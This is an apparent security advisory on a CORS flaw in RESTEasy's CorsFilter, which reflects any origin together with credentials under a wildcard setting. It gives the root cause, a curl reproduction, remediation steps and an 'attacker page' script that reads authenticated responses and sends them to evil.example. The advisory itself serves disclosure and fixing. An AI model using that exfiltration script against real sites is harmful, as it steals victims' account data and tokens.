# RESTEasy CorsFilter Reflects Arbitrary Origin with Credentials under Wildcard Config

| Field | Value |
|-------|-------|
| **Component** | `resteasy-core` (RESTEasy / JBoss / Red Hat) |
| **Affected version** | 7.0.2.Final |
| **Vulnerable class** | `org.jboss.resteasy.plugins.interceptors.CorsFilter` |
| **Vulnerability type** | CWE-942 Permissive Cross-domain Policy / CWE-346 Origin Validation Error |
| **Attack vector** | Remote, cross-origin (malicious web page) |
| **Reproduction status** | **Reproduced** |

## Summary

`CorsFilter` defaults `allowCredentials = true`. When an operator uses the documented "accept all origins"
mode by adding `"*"` to `getAllowedOrigins()`, `checkOrigin()` accepts **any** origin, and the response
filter reflects the **concrete request `Origin`** back in `Access-Control-Allow-Origin` (not the literal `*`)
together with `Access-Control-Allow-Credentials: true`. This is exactly the CORS misconfiguration the browser
spec forbids for `*`; RESTEasy re-introduces it by reflecting the concrete origin, allowing any malicious site
to perform **credentialed** cross-origin reads of authenticated responses.

## CVSS 3.1

**Base score: 6.5 (Medium)** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`

## Root-cause analysis

`CorsFilter.java`:
```java
protected boolean allowCredentials = true;                                    // line 27 (dangerous default)
// checkOrigin (line 170-175): passes if "*" present
if (!getAllowedOrigins().contains("*") && !getAllowedOrigins().contains(origin)) { throw ... }
// response filter (line 131-134): reflects concrete origin + credentials
responseContext.getHeaders().putSingle(ACCESS_CONTROL_ALLOW_ORIGIN, origin);
if (isAllowCredentials()) responseContext.getHeaders().putSingle(ACCESS_CONTROL_ALLOW_CREDENTIALS, "true");
```

## Reproduction

### Environment
RESTEasy 7.0.2.Final embedded in Undertow, JDK 21. `CorsFilter` registered as a singleton with
`cors.getAllowedOrigins().add("*")`. Resource:
```java
@Path("/cors")
public static class CorsResource {
    @GET @Produces("text/plain") public String cors(){ return "secret-account-data"; }
}
```

### POC
```bash
curl -s -i -H "Origin: https://evil.example" http://127.0.0.1:8080/cors | \
  grep -i "access-control-allow"
```

### Observed output (actual)
```
Access-Control-Allow-Origin: https://evil.example
Access-Control-Allow-Credentials: true
```

### Attacker page
```html
<script>
fetch('https://api.victim/cors', {credentials:'include'})
  .then(r => r.text()).then(d => fetch('https://evil.example/collect?d='+encodeURIComponent(d)));
</script>
```
Because the response carries `ACAO: https://evil.example` + `ACAC: true`, the browser hands the authenticated
response body to the attacker's script.

## Impact
Any malicious origin can read authenticated, per-user responses (account data, tokens embedded in responses,
CSRF tokens) from a victim's browser session — a full cross-origin confidentiality breach.

## Remediation
1. When `allowedOrigins` contains `"*"` and `allowCredentials` is true, do **not** reflect a concrete origin —
   emit `Access-Control-Allow-Origin: *` and drop credentials (spec behavior), or require an explicit origin
   allowlist.
2. Default `allowCredentials` to `false`.